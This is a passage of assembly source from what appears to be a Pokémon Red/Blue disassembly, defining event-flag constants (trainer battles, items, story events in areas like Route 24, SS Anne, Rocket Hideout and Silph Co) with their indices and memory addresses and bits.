EVENT_BEAT_ROUTE_20_TRAINER_4 ; 505, (D7E7, bit 5) const EVENT_BEAT_ROUTE_20_TRAINER_5 ; 506, (D7E7, bit 6) const EVENT_BEAT_ROUTE_20_TRAINER_6 ; 507, (D7E7, bit 7) const EVENT_BEAT_ROUTE_20_TRAINER_7 ; 508, (D7E8, bit 0) const EVENT_BEAT_ROUTE_20_TRAINER_8 ; 509, (D7E8, bit 1) const EVENT_BEAT_ROUTE_20_TRAINER_9 ; 50A, (D7E8, bit 2) const EVENT_50B ; 50B, (D7E8, bit 3) const EVENT_50C ; 50C, (D7E8, bit 4) const EVENT_50D ; 50D, (D7E8, bit 5) const EVENT_SEAFOAM1_BOULDER1_DOWN_HOLE ; 50E, (D7E8, bit 6) const EVENT_SEAFOAM1_BOULDER2_DOWN_HOLE ; 50F, (D7E8, bit 7) const EVENT_510 ; 510, (D7E9, bit 0) const EVENT_BEAT_ROUTE_21_TRAINER_0 ; 511, (D7E9, bit 1) const EVENT_BEAT_ROUTE_21_TRAINER_1 ; 512, (D7E9, bit 2) const EVENT_BEAT_ROUTE_21_TRAINER_2 ; 513, (D7E9, bit 3) const EVENT_BEAT_ROUTE_21_TRAINER_3 ; 514, (D7E9, bit 4) const EVENT_BEAT_ROUTE_21_TRAINER_4 ; 515, (D7E9, bit 5) const EVENT_BEAT_ROUTE_21_TRAINER_5 ; 516, (D7E9, bit 6) const EVENT_BEAT_ROUTE_21_TRAINER_6 ; 517, (D7E9, bit 7) const EVENT_BEAT_ROUTE_21_TRAINER_7 ; 518, (D7EA, bit 0) const EVENT_BEAT_ROUTE_21_TRAINER_8 ; 519, (D7EA, bit 1) const EVENT_51A ; 51A, (D7EA, bit 2) const EVENT_51B ; 51B, (D7EA, bit 3) const EVENT_51C ; 51C, (D7EA, bit 4) const EVENT_51D ; 51D, (D7EA, bit 5) const EVENT_51E ; 51E, (D7EA, bit 6) const EVENT_51F ; 51F, (D7EA, bit 7) const EVENT_1ST_ROUTE22_RIVAL_BATTLE ; 520, (D7EB, bit 0) const EVENT_2ND_ROUTE22_RIVAL_BATTLE ; 521, (D7EB, bit 1) const EVENT_522 ; 522, (D7EB, bit 2) const EVENT_523 ; 523, (D7EB, bit 3) const EVENT_524 ; 524, (D7EB, bit 4) const EVENT_BEAT_ROUTE22_RIVAL_1ST_BATTLE ; 525, (D7EB, bit 5) const EVENT_BEAT_ROUTE22_RIVAL_2ND_BATTLE ; 526, (D7EB, bit 6) const EVENT_ROUTE22_RIVAL_WANTS_BATTLE ; 527, (D7EB, bit 7) const EVENT_528 ; 528, (D7EC, bit 0) const EVENT_529 ; 529, (D7EC, bit 1) const EVENT_52A ; 52A, (D7EC, bit 2) const EVENT_52B ; 52B, (D7EC, bit 3) const EVENT_52C ; 52C, (D7EC, bit 4) const EVENT_52D ; 52D, (D7EC, bit 5) const EVENT_52E ; 52E, (D7EC, bit 6) const EVENT_52F ; 52F, (D7EC, bit 7) const EVENT_PASSED_CASCADEBADGE_CHECK ; 530, (D7ED, bit 0) const EVENT_PASSED_THUNDERBADGE_CHECK ; 531, (D7ED, bit 1) const EVENT_PASSED_RAINBOWBADGE_CHECK ; 532, (D7ED, bit 2) const EVENT_PASSED_MARSHBADGE_CHECK ; 533, (D7ED, bit 3) const EVENT_PASSED_SOULBADGE_CHECK ; 534, (D7ED, bit 4) const EVENT_PASSED_VOLCANOBADGE_CHECK ; 535, (D7ED, bit 5) const EVENT_PASSED_EARTHBADGE_CHECK ; 536, (D7ED, bit 6) const EVENT_537 ; 537, (D7ED, bit 7) const EVENT_VICTORY_ROAD_2_BOULDER_ON_SWITCH1 ; 538, (D7EE, bit 0) const EVENT_BEAT_VICTORY_ROAD_2_TRAINER_0 ; 539, (D7EE, bit 1) const EVENT_BEAT_VICTORY_ROAD_2_TRAINER_1 ; 53A, (D7EE, bit 2) const EVENT_BEAT_VICTORY_ROAD_2_TRAINER_2 ; 53B, (D7EE, bit 3) const EVENT_BEAT_VICTORY_ROAD_2_TRAINER_3 ; 53C, (D7EE, bit 4) const EVENT_BEAT_VICTORY_ROAD_2_TRAINER_4 ; 53D, (D7EE, bit 5) const EVENT_BEAT_MOLTRES ; 53E, (D7EE, bit 6) const EVENT_VICTORY_ROAD_2_BOULDER_ON_SWITCH2 ; 53F, (D7EE, bit 7) const EVENT_GOT_NUGGET ; 540, (D7EF, bit 0) const EVENT_BEAT_ROUTE24_ROCKET ; 541, (D7EF, bit 1) const EVENT_BEAT_ROUTE_24_TRAINER_0 ; 542, (D7EF, bit 2) const EVENT_BEAT_ROUTE_24_TRAINER_1 ; 543, (D7EF, bit 3) const EVENT_BEAT_ROUTE_24_TRAINER_2 ; 544, (D7EF, bit 4) const EVENT_BEAT_ROUTE_24_TRAINER_3 ; 545, (D7EF, bit 5) const EVENT_BEAT_ROUTE_24_TRAINER_4 ; 546, (D7EF, bit 6) const EVENT_BEAT_ROUTE_24_TRAINER_5 ; 547, (D7EF, bit 7) const EVENT_548 ; 548, (D7F0, bit 0) const EVENT_NUGGET_REWARD_AVAILABLE ; 549, (D7F0, bit 1) const EVENT_54A ; 54A, (D7F0, bit 2) const EVENT_54B ; 54B, (D7F0, bit 3) const EVENT_54C ; 54C, (D7F0, bit 4) const EVENT_54D ; 54D, (D7F0, bit 5) const EVENT_54E ; 54E, (D7F0, bit 6) const EVENT_54F ; 54F, (D7F0, bit 7) const EVENT_MET_BILL ; 550, (D7F1, bit 0) const EVENT_BEAT_ROUTE_25_TRAINER_0 ; 551, (D7F1, bit 1) const EVENT_BEAT_ROUTE_25_TRAINER_1 ; 552, (D7F1, bit 2) const EVENT_BEAT_ROUTE_25_TRAINER_2 ; 553, (D7F1, bit 3) const EVENT_BEAT_ROUTE_25_TRAINER_3 ; 554, (D7F1, bit 4) const EVENT_BEAT_ROUTE_25_TRAINER_4 ; 555, (D7F1, bit 5) const EVENT_BEAT_ROUTE_25_TRAINER_5 ; 556, (D7F1, bit 6) const EVENT_BEAT_ROUTE_25_TRAINER_6 ; 557, (D7F1, bit 7) const EVENT_BEAT_ROUTE_25_TRAINER_7 ; 558, (D7F2, bit 0) const EVENT_BEAT_ROUTE_25_TRAINER_8 ; 559, (D7F2, bit 1) const EVENT_55A ; 55A, (D7F2, bit 2) const EVENT_USED_CELL_SEPARATOR_ON_BILL ; 55B, (D7F2, bit 3) const EVENT_GOT_SS_TICKET ; 55C, (D7F2, bit 4) const EVENT_MET_BILL_2 ; 55D, (D7F2, bit 5) const EVENT_BILL_SAID_USE_CELL_SEPARATOR ; 55E, (D7F2, bit 6) const EVENT_LEFT_BILLS_HOUSE_AFTER_HELPING ; 55F, (D7F2, bit 7) const EVENT_560 ; 560, (D7F3, bit 0) const EVENT_561 ; 561, (D7F3, bit 1) const EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_0 ; 562, (D7F3, bit 2) const EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_1 ; 563, (D7F3, bit 3) const EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_2 ; 564, (D7F3, bit 4) const EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_3 ; 565, (D7F3, bit 5) const EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_4 ; 566, (D7F3, bit 6) const EVENT_567 ; 567, (D7F3, bit 7) const EVENT_568 ; 568, (D7F4, bit 0) const EVENT_569 ; 569, (D7F4, bit 1) const EVENT_56A ; 56A, (D7F4, bit 2) const EVENT_56B ; 56B, (D7F4, bit 3) const EVENT_56C ; 56C, (D7F4, bit 4) const EVENT_56D ; 56D, (D7F4, bit 5) const EVENT_56E ; 56E, (D7F4, bit 6) const EVENT_56F ; 56F, (D7F4, bit 7) const EVENT_570 ; 570, (D7F5, bit 0) const EVENT_BEAT_MT_MOON_1_TRAINER_0 ; 571, (D7F5, bit 1) const EVENT_BEAT_MT_MOON_1_TRAINER_1 ; 572, (D7F5, bit 2) const EVENT_BEAT_MT_MOON_1_TRAINER_2 ; 573, (D7F5, bit 3) const EVENT_BEAT_MT_MOON_1_TRAINER_3 ; 574, (D7F5, bit 4) const EVENT_BEAT_MT_MOON_1_TRAINER_4 ; 575, (D7F5, bit 5) const EVENT_BEAT_MT_MOON_1_TRAINER_5 ; 576, (D7F5, bit 6) const EVENT_BEAT_MT_MOON_1_TRAINER_6 ; 577, (D7F5, bit 7) const EVENT_578 ; 578, (D7F6, bit 0) const EVENT_BEAT_MT_MOON_EXIT_SUPER_NERD ; 579, (D7F6, bit 1) const EVENT_BEAT_MT_MOON_3_TRAINER_0 ; 57A, (D7F6, bit 2) const EVENT_BEAT_MT_MOON_3_TRAINER_1 ; 57B, (D7F6, bit 3) const EVENT_BEAT_MT_MOON_3_TRAINER_2 ; 57C, (D7F6, bit 4) const EVENT_BEAT_MT_MOON_3_TRAINER_3 ; 57D, (D7F6, bit 5) const EVENT_GOT_DOME_FOSSIL ; 57E, (D7F6, bit 6) const EVENT_GOT_HELIX_FOSSIL ; 57F, (D7F6, bit 7) const EVENT_580 ; 580, (D7F7, bit 0) const EVENT_581 ; 581, (D7F7, bit 1) const EVENT_582 ; 582, (D7F7, bit 2) const EVENT_583 ; 583, (D7F7, bit 3) const EVENT_584 ; 584, (D7F7, bit 4) const EVENT_585 ; 585, (D7F7, bit 5) const EVENT_586 ; 586, (D7F7, bit 6) const EVENT_587 ; 587, (D7F7, bit 7) const EVENT_588 ; 588, (D7F8, bit 0) const EVENT_589 ; 589, (D7F8, bit 1) const EVENT_58A ; 58A, (D7F8, bit 2) const EVENT_58B ; 58B, (D7F8, bit 3) const EVENT_58C ; 58C, (D7F8, bit 4) const EVENT_58D ; 58D, (D7F8, bit 5) const EVENT_58E ; 58E, (D7F8, bit 6) const EVENT_58F ; 58F, (D7F8, bit 7) const EVENT_590 ; 590, (D7F9, bit 0) const EVENT_591 ; 591, (D7F9, bit 1) const EVENT_592 ; 592, (D7F9, bit 2) const EVENT_593 ; 593, (D7F9, bit 3) const EVENT_594 ; 594, (D7F9, bit 4) const EVENT_595 ; 595, (D7F9, bit 5) const EVENT_596 ; 596, (D7F9, bit 6) const EVENT_597 ; 597, (D7F9, bit 7) const EVENT_598 ; 598, (D7FA, bit 0) const EVENT_599 ; 599, (D7FA, bit 1) const EVENT_59A ; 59A, (D7FA, bit 2) const EVENT_59B ; 59B, (D7FA, bit 3) const EVENT_59C ; 59C, (D7FA, bit 4) const EVENT_59D ; 59D, (D7FA, bit 5) const EVENT_59E ; 59E, (D7FA, bit 6) const EVENT_59F ; 59F, (D7FA, bit 7) const EVENT_5A0 ; 5A0, (D7FB, bit 0) const EVENT_5A1 ; 5A1, (D7FB, bit 1) const EVENT_5A2 ; 5A2, (D7FB, bit 2) const EVENT_5A3 ; 5A3, (D7FB, bit 3) const EVENT_5A4 ; 5A4, (D7FB, bit 4) const EVENT_5A5 ; 5A5, (D7FB, bit 5) const EVENT_5A6 ; 5A6, (D7FB, bit 6) const EVENT_5A7 ; 5A7, (D7FB, bit 7) const EVENT_5A8 ; 5A8, (D7FC, bit 0) const EVENT_5A9 ; 5A9, (D7FC, bit 1) const EVENT_5AA ; 5AA, (D7FC, bit 2) const EVENT_5AB ; 5AB, (D7FC, bit 3) const EVENT_5AC ; 5AC, (D7FC, bit 4) const EVENT_5AD ; 5AD, (D7FC, bit 5) const EVENT_5AE ; 5AE, (D7FC, bit 6) const EVENT_5AF ; 5AF, (D7FC, bit 7) const EVENT_5B0 ; 5B0, (D7FD, bit 0) const EVENT_5B1 ; 5B1, (D7FD, bit 1) const EVENT_5B2 ; 5B2, (D7FD, bit 2) const EVENT_5B3 ; 5B3, (D7FD, bit 3) const EVENT_5B4 ; 5B4, (D7FD, bit 4) const EVENT_5B5 ; 5B5, (D7FD, bit 5) const EVENT_5B6 ; 5B6, (D7FD, bit 6) const EVENT_5B7 ; 5B7, (D7FD, bit 7) const EVENT_5B8 ; 5B8, (D7FE, bit 0) const EVENT_5B9 ; 5B9, (D7FE, bit 1) const EVENT_5BA ; 5BA, (D7FE, bit 2) const EVENT_5BB ; 5BB, (D7FE, bit 3) const EVENT_5BC ; 5BC, (D7FE, bit 4) const EVENT_5BD ; 5BD, (D7FE, bit 5) const EVENT_5BE ; 5BE, (D7FE, bit 6) const EVENT_5BF ; 5BF, (D7FE, bit 7) const EVENT_5C0 ; 5C0, (D7FF, bit 0) const EVENT_5C1 ; 5C1, (D7FF, bit 1) const EVENT_5C2 ; 5C2, (D7FF, bit 2) const EVENT_5C3 ; 5C3, (D7FF, bit 3) const EVENT_BEAT_SS_ANNE_5_TRAINER_0 ; 5C4, (D7FF, bit 4) const EVENT_BEAT_SS_ANNE_5_TRAINER_1 ; 5C5, (D7FF, bit 5) const EVENT_5C6 ; 5C6, (D7FF, bit 6) const EVENT_5C7 ; 5C7, (D7FF, bit 7) const EVENT_5C8 ; 5C8, (D800, bit 0) const EVENT_5C9 ; 5C9, (D800, bit 1) const EVENT_5CA ; 5CA, (D800, bit 2) const EVENT_5CB ; 5CB, (D800, bit 3) const EVENT_5CC ; 5CC, (D800, bit 4) const EVENT_5CD ; 5CD, (D800, bit 5) const EVENT_5CE ; 5CE, (D800, bit 6) const EVENT_5CF ; 5CF, (D800, bit 7) const EVENT_5D0 ; 5D0, (D801, bit 0) const EVENT_5D1 ; 5D1, (D801, bit 1) const EVENT_5D2 ; 5D2, (D801, bit 2) const EVENT_5D3 ; 5D3, (D801, bit 3) const EVENT_5D4 ; 5D4, (D801, bit 4) const EVENT_5D5 ; 5D5, (D801, bit 5) const EVENT_5D6 ; 5D6, (D801, bit 6) const EVENT_5D7 ; 5D7, (D801, bit 7) const EVENT_5D8 ; 5D8, (D802, bit 0) const EVENT_5D9 ; 5D9, (D802, bit 1) const EVENT_5DA ; 5DA, (D802, bit 2) const EVENT_5DB ; 5DB, (D802, bit 3) const EVENT_5DC ; 5DC, (D802, bit 4) const EVENT_5DD ; 5DD, (D802, bit 5) const EVENT_5DE ; 5DE, (D802, bit 6) const EVENT_5DF ; 5DF, (D802, bit 7) const EVENT_GOT_HM01 ; 5E0, (D803, bit 0) const EVENT_RUBBED_CAPTAINS_BACK ; 5E1, (D803, bit 1) const EVENT_SS_ANNE_LEFT ; 5E2, (D803, bit 2) const EVENT_WALKED_PAST_GUARD_AFTER_SS_ANNE_LEFT ; 5E3, (D803, bit 3) const EVENT_STARTED_WALKING_OUT_OF_DOCK ; 5E4, (D803, bit 4) const EVENT_WALKED_OUT_OF_DOCK ; 5E5, (D803, bit 5) const EVENT_5E6 ; 5E6, (D803, bit 6) const EVENT_5E7 ; 5E7, (D803, bit 7) const EVENT_5E8 ; 5E8, (D804, bit 0) const EVENT_5E9 ; 5E9, (D804, bit 1) const EVENT_5EA ; 5EA, (D804, bit 2) const EVENT_5EB ; 5EB, (D804, bit 3) const EVENT_5EC ; 5EC, (D804, bit 4) const EVENT_5ED ; 5ED, (D804, bit 5) const EVENT_5EE ; 5EE, (D804, bit 6) const EVENT_5EF ; 5EF, (D804, bit 7) const EVENT_5F0 ; 5F0, (D805, bit 0) const EVENT_BEAT_SS_ANNE_8_TRAINER_0 ; 5F1, (D805, bit 1) const EVENT_BEAT_SS_ANNE_8_TRAINER_1 ; 5F2, (D805, bit 2) const EVENT_BEAT_SS_ANNE_8_TRAINER_2 ; 5F3, (D805, bit 3) const EVENT_BEAT_SS_ANNE_8_TRAINER_3 ; 5F4, (D805, bit 4) const EVENT_5F5 ; 5F5, (D805, bit 5) const EVENT_5F6 ; 5F6, (D805, bit 6) const EVENT_5F7 ; 5F7, (D805, bit 7) const EVENT_5F8 ; 5F8, (D806, bit 0) const EVENT_5F9 ; 5F9, (D806, bit 1) const EVENT_5FA ; 5FA, (D806, bit 2) const EVENT_5FB ; 5FB, (D806, bit 3) const EVENT_5FC ; 5FC, (D806, bit 4) const EVENT_5FD ; 5FD, (D806, bit 5) const EVENT_5FE ; 5FE, (D806, bit 6) const EVENT_5FF ; 5FF, (D806, bit 7) const EVENT_600 ; 600, (D807, bit 0) const EVENT_BEAT_SS_ANNE_9_TRAINER_0 ; 601, (D807, bit 1) const EVENT_BEAT_SS_ANNE_9_TRAINER_1 ; 602, (D807, bit 2) const EVENT_BEAT_SS_ANNE_9_TRAINER_2 ; 603, (D807, bit 3) const EVENT_BEAT_SS_ANNE_9_TRAINER_3 ; 604, (D807, bit 4) const EVENT_605 ; 605, (D807, bit 5) const EVENT_606 ; 606, (D807, bit 6) const EVENT_607 ; 607, (D807, bit 7) const EVENT_608 ; 608, (D808, bit 0) const EVENT_609 ; 609, (D808, bit 1) const EVENT_60A ; 60A, (D808, bit 2) const EVENT_60B ; 60B, (D808, bit 3) const EVENT_60C ; 60C, (D808, bit 4) const EVENT_60D ; 60D, (D808, bit 5) const EVENT_60E ; 60E, (D808, bit 6) const EVENT_60F ; 60F, (D808, bit 7) const EVENT_610 ; 610, (D809, bit 0) const EVENT_BEAT_SS_ANNE_10_TRAINER_0 ; 611, (D809, bit 1) const EVENT_BEAT_SS_ANNE_10_TRAINER_1 ; 612, (D809, bit 2) const EVENT_BEAT_SS_ANNE_10_TRAINER_2 ; 613, (D809, bit 3) const EVENT_BEAT_SS_ANNE_10_TRAINER_3 ; 614, (D809, bit 4) const EVENT_BEAT_SS_ANNE_10_TRAINER_4 ; 615, (D809, bit 5) const EVENT_BEAT_SS_ANNE_10_TRAINER_5 ; 616, (D809, bit 6) const EVENT_617 ; 617, (D809, bit 7) const EVENT_618 ; 618, (D80A, bit 0) const EVENT_619 ; 619, (D80A, bit 1) const EVENT_61A ; 61A, (D80A, bit 2) const EVENT_61B ; 61B, (D80A, bit 3) const EVENT_61C ; 61C, (D80A, bit 4) const EVENT_61D ; 61D, (D80A, bit 5) const EVENT_61E ; 61E, (D80A, bit 6) const EVENT_61F ; 61F, (D80A, bit 7) const EVENT_620 ; 620, (D80B, bit 0) const EVENT_621 ; 621, (D80B, bit 1) const EVENT_622 ; 622, (D80B, bit 2) const EVENT_623 ; 623, (D80B, bit 3) const EVENT_624 ; 624, (D80B, bit 4) const EVENT_625 ; 625, (D80B, bit 5) const EVENT_626 ; 626, (D80B, bit 6) const EVENT_627 ; 627, (D80B, bit 7) const EVENT_628 ; 628, (D80C, bit 0) const EVENT_629 ; 629, (D80C, bit 1) const EVENT_62A ; 62A, (D80C, bit 2) const EVENT_62B ; 62B, (D80C, bit 3) const EVENT_62C ; 62C, (D80C, bit 4) const EVENT_62D ; 62D, (D80C, bit 5) const EVENT_62E ; 62E, (D80C, bit 6) const EVENT_62F ; 62F, (D80C, bit 7) const EVENT_630 ; 630, (D80D, bit 0) const EVENT_631 ; 631, (D80D, bit 1) const EVENT_632 ; 632, (D80D, bit 2) const EVENT_633 ; 633, (D80D, bit 3) const EVENT_634 ; 634, (D80D, bit 4) const EVENT_635 ; 635, (D80D, bit 5) const EVENT_636 ; 636, (D80D, bit 6) const EVENT_637 ; 637, (D80D, bit 7) const EVENT_638 ; 638, (D80E, bit 0) const EVENT_639 ; 639, (D80E, bit 1) const EVENT_63A ; 63A, (D80E, bit 2) const EVENT_63B ; 63B, (D80E, bit 3) const EVENT_63C ; 63C, (D80E, bit 4) const EVENT_63D ; 63D, (D80E, bit 5) const EVENT_63E ; 63E, (D80E, bit 6) const EVENT_63F ; 63F, (D80E, bit 7) const EVENT_640 ; 640, (D80F, bit 0) const EVENT_641 ; 641, (D80F, bit 1) const EVENT_642 ; 642, (D80F, bit 2) const EVENT_643 ; 643, (D80F, bit 3) const EVENT_644 ; 644, (D80F, bit 4) const EVENT_645 ; 645, (D80F, bit 5) const EVENT_646 ; 646, (D80F, bit 6) const EVENT_647 ; 647, (D80F, bit 7) const EVENT_648 ; 648, (D810, bit 0) const EVENT_649 ; 649, (D810, bit 1) const EVENT_64A ; 64A, (D810, bit 2) const EVENT_64B ; 64B, (D810, bit 3) const EVENT_64C ; 64C, (D810, bit 4) const EVENT_64D ; 64D, (D810, bit 5) const EVENT_64E ; 64E, (D810, bit 6) const EVENT_64F ; 64F, (D810, bit 7) const EVENT_650 ; 650, (D811, bit 0) const EVENT_651 ; 651, (D811, bit 1) const EVENT_652 ; 652, (D811, bit 2) const EVENT_653 ; 653, (D811, bit 3) const EVENT_654 ; 654, (D811, bit 4) const EVENT_655 ; 655, (D811, bit 5) const EVENT_656 ; 656, (D811, bit 6) const EVENT_657 ; 657, (D811, bit 7) const EVENT_658 ; 658, (D812, bit 0) const EVENT_659 ; 659, (D812, bit 1) const EVENT_65A ; 65A, (D812, bit 2) const EVENT_65B ; 65B, (D812, bit 3) const EVENT_65C ; 65C, (D812, bit 4) const EVENT_65D ; 65D, (D812, bit 5) const EVENT_65E ; 65E, (D812, bit 6) const EVENT_65F ; 65F, (D812, bit 7) const EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH1 ; 660, (D813, bit 0) const EVENT_BEAT_VICTORY_ROAD_3_TRAINER_0 ; 661, (D813, bit 1) const EVENT_BEAT_VICTORY_ROAD_3_TRAINER_1 ; 662, (D813, bit 2) const EVENT_BEAT_VICTORY_ROAD_3_TRAINER_2 ; 663, (D813, bit 3) const EVENT_BEAT_VICTORY_ROAD_3_TRAINER_3 ; 664, (D813, bit 4) const EVENT_665 ; 665, (D813, bit 5) const EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH2 ; 666, (D813, bit 6) const EVENT_667 ; 667, (D813, bit 7) const EVENT_668 ; 668, (D814, bit 0) const EVENT_669 ; 669, (D814, bit 1) const EVENT_66A ; 66A, (D814, bit 2) const EVENT_66B ; 66B, (D814, bit 3) const EVENT_66C ; 66C, (D814, bit 4) const EVENT_66D ; 66D, (D814, bit 5) const EVENT_66E ; 66E, (D814, bit 6) const EVENT_66F ; 66F, (D814, bit 7) const EVENT_670 ; 670, (D815, bit 0) const EVENT_BEAT_ROCKET_HIDEOUT_1_TRAINER_0 ; 671, (D815, bit 1) const EVENT_BEAT_ROCKET_HIDEOUT_1_TRAINER_1 ; 672, (D815, bit 2) const EVENT_BEAT_ROCKET_HIDEOUT_1_TRAINER_2 ; 673, (D815, bit 3) const EVENT_BEAT_ROCKET_HIDEOUT_1_TRAINER_3 ; 674, (D815, bit 4) const EVENT_BEAT_ROCKET_HIDEOUT_1_TRAINER_4 ; 675, (D815, bit 5) const EVENT_676 ; 676, (D815, bit 6) const EVENT_677 ; 677, (D815, bit 7) const EVENT_678 ; 678, (D816, bit 0) const EVENT_679 ; 679, (D816, bit 1) const EVENT_67A ; 67A, (D816, bit 2) const EVENT_67B ; 67B, (D816, bit 3) const EVENT_67C ; 67C, (D816, bit 4) const EVENT_67D ; 67D, (D816, bit 5) const EVENT_67E ; 67E, (D816, bit 6) const EVENT_67F ; 67F, (D816, bit 7) const EVENT_680 ; 680, (D817, bit 0) const EVENT_BEAT_ROCKET_HIDEOUT_2_TRAINER_0 ; 681, (D817, bit 1) const EVENT_682 ; 682, (D817, bit 2) const EVENT_683 ; 683, (D817, bit 3) const EVENT_684 ; 684, (D817, bit 4) const EVENT_685 ; 685, (D817, bit 5) const EVENT_686 ; 686, (D817, bit 6) const EVENT_687 ; 687, (D817, bit 7) const EVENT_688 ; 688, (D818, bit 0) const EVENT_689 ; 689, (D818, bit 1) const EVENT_68A ; 68A, (D818, bit 2) const EVENT_68B ; 68B, (D818, bit 3) const EVENT_68C ; 68C, (D818, bit 4) const EVENT_68D ; 68D, (D818, bit 5) const EVENT_68E ; 68E, (D818, bit 6) const EVENT_68F ; 68F, (D818, bit 7) const EVENT_690 ; 690, (D819, bit 0) const EVENT_BEAT_ROCKET_HIDEOUT_3_TRAINER_0 ; 691, (D819, bit 1) const EVENT_BEAT_ROCKET_HIDEOUT_3_TRAINER_1 ; 692, (D819, bit 2) const EVENT_693 ; 693, (D819, bit 3) const EVENT_694 ; 694, (D819, bit 4) const EVENT_695 ; 695, (D819, bit 5) const EVENT_696 ; 696, (D819, bit 6) const EVENT_697 ; 697, (D819, bit 7) const EVENT_698 ; 698, (D81A, bit 0) const EVENT_699 ; 699, (D81A, bit 1) const EVENT_69A ; 69A, (D81A, bit 2) const EVENT_69B ; 69B, (D81A, bit 3) const EVENT_69C ; 69C, (D81A, bit 4) const EVENT_69D ; 69D, (D81A, bit 5) const EVENT_69E ; 69E, (D81A, bit 6) const EVENT_69F ; 69F, (D81A, bit 7) const EVENT_6A0 ; 6A0, (D81B, bit 0) const EVENT_6A1 ; 6A1, (D81B, bit 1) const EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_0 ; 6A2, (D81B, bit 2) const EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_1 ; 6A3, (D81B, bit 3) const EVENT_BEAT_ROCKET_HIDEOUT_4_TRAINER_2 ; 6A4, (D81B, bit 4) const EVENT_ROCKET_HIDEOUT_4_DOOR_UNLOCKED ; 6A5, (D81B, bit 5) const EVENT_ROCKET_DROPPED_LIFT_KEY ; 6A6, (D81B, bit 6) const EVENT_BEAT_ROCKET_HIDEOUT_GIOVANNI ; 6A7, (D81B, bit 7) const EVENT_6A8 ; 6A8, (D81C, bit 0) const EVENT_6A9 ; 6A9, (D81C, bit 1) const EVENT_6AA ; 6AA, (D81C, bit 2) const EVENT_6AB ; 6AB, (D81C, bit 3) const EVENT_6AC ; 6AC, (D81C, bit 4) const EVENT_6AD ; 6AD, (D81C, bit 5) const EVENT_6AE ; 6AE, (D81C, bit 6) const EVENT_6AF ; 6AF, (D81C, bit 7) const EVENT_6B0 ; 6B0, (D81D, bit 0) const EVENT_6B1 ; 6B1, (D81D, bit 1) const EVENT_6B2 ; 6B2, (D81D, bit 2) const EVENT_6B3 ; 6B3, (D81D, bit 3) const EVENT_6B4 ; 6B4, (D81D, bit 4) const EVENT_6B5 ; 6B5, (D81D, bit 5) const EVENT_6B6 ; 6B6, (D81D, bit 6) const EVENT_6B7 ; 6B7, (D81D, bit 7) const EVENT_6B8 ; 6B8, (D81E, bit 0) const EVENT_6B9 ; 6B9, (D81E, bit 1) const EVENT_6BA ; 6BA, (D81E, bit 2) const EVENT_6BB ; 6BB, (D81E, bit 3) const EVENT_6BC ; 6BC, (D81E, bit 4) const EVENT_6BD ; 6BD, (D81E, bit 5) const EVENT_6BE ; 6BE, (D81E, bit 6) const EVENT_6BF ; 6BF, (D81E, bit 7) const EVENT_6C0 ; 6C0, (D81F, bit 0) const EVENT_6C1 ; 6C1, (D81F, bit 1) const EVENT_6C2 ; 6C2, (D81F, bit 2) const EVENT_6C3 ; 6C3, (D81F, bit 3) const EVENT_6C4 ; 6C4, (D81F, bit 4) const EVENT_6C5 ; 6C5, (D81F, bit 5) const EVENT_6C6 ; 6C6, (D81F, bit 6) const EVENT_6C7 ; 6C7, (D81F, bit 7) const EVENT_6C8 ; 6C8, (D820, bit 0) const EVENT_6C9 ; 6C9, (D820, bit 1) const EVENT_6CA ; 6CA, (D820, bit 2) const EVENT_6CB ; 6CB, (D820, bit 3) const EVENT_6CC ; 6CC, (D820, bit 4) const EVENT_6CD ; 6CD, (D820, bit 5) const EVENT_6CE ; 6CE, (D820, bit 6) const EVENT_6CF ; 6CF, (D820, bit 7) const EVENT_6D0 ; 6D0, (D821, bit 0) const EVENT_6D1 ; 6D1, (D821, bit 1) const EVENT_6D2 ; 6D2, (D821, bit 2) const EVENT_6D3 ; 6D3, (D821, bit 3) const EVENT_6D4 ; 6D4, (D821, bit 4) const EVENT_6D5 ; 6D5, (D821, bit 5) const EVENT_6D6 ; 6D6, (D821, bit 6) const EVENT_6D7 ; 6D7, (D821, bit 7) const EVENT_6D8 ; 6D8, (D822, bit 0) const EVENT_6D9 ; 6D9, (D822, bit 1) const EVENT_6DA ; 6DA, (D822, bit 2) const EVENT_6DB ; 6DB, (D822, bit 3) const EVENT_6DC ; 6DC, (D822, bit 4) const EVENT_6DD ; 6DD, (D822, bit 5) const EVENT_6DE ; 6DE, (D822, bit 6) const EVENT_6DF ; 6DF, (D822, bit 7) const EVENT_6E0 ; 6E0, (D823, bit 0) const EVENT_6E1 ; 6E1, (D823, bit 1) const EVENT_6E2 ; 6E2, (D823, bit 2) const EVENT_6E3 ; 6E3, (D823, bit 3) const EVENT_6E4 ; 6E4, (D823, bit 4) const EVENT_6E5 ; 6E5, (D823, bit 5) const EVENT_6E6 ; 6E6, (D823, bit 6) const EVENT_6E7 ; 6E7, (D823, bit 7) const EVENT_6E8 ; 6E8, (D824, bit 0) const EVENT_6E9 ; 6E9, (D824, bit 1) const EVENT_6EA ; 6EA, (D824, bit 2) const EVENT_6EB ; 6EB, (D824, bit 3) const EVENT_6EC ; 6EC, (D824, bit 4) const EVENT_6ED ; 6ED, (D824, bit 5) const EVENT_6EE ; 6EE, (D824, bit 6) const EVENT_6EF ; 6EF, (D824, bit 7) const EVENT_6F0 ; 6F0, (D825, bit 0) const EVENT_6F1 ; 6F1, (D825, bit 1) const EVENT_BEAT_SILPH_CO_2F_TRAINER_0 ; 6F2, (D825, bit 2) const EVENT_BEAT_SILPH_CO_2F_TRAINER_1 ; 6F3, (D825, bit 3) const EVENT_BEAT_SILPH_CO_2F_TRAINER_2 ; 6F4, (D825, bit 4) const EVENT_BEAT_SILPH_CO_2F_TRAINER_3 ; 6F5, (D825, bit 5) const EVENT_6F6 ; 6F6, (D825, bit 6) const EVENT_6F7 ; 6F7, (D825, bit 7) const EVENT_6F8 ; 6F8, (D826, bit 0) const EVENT_6F9 ; 6F9, (D826, bit 1) const EVENT_6FA ; 6FA, (D826, bit 2) const EVENT_6FB ; 6FB, (D826, bit 3) const EVENT_6FC ; 6FC, (D826, bit 4) const EVENT_SILPH_CO_2_UNLOCKED_DOOR1 ; 6FD, (D826, bit 5) const EVENT_SILPH_CO_2_UNLOCKED_DOOR2 ; 6FE, (D826, bit 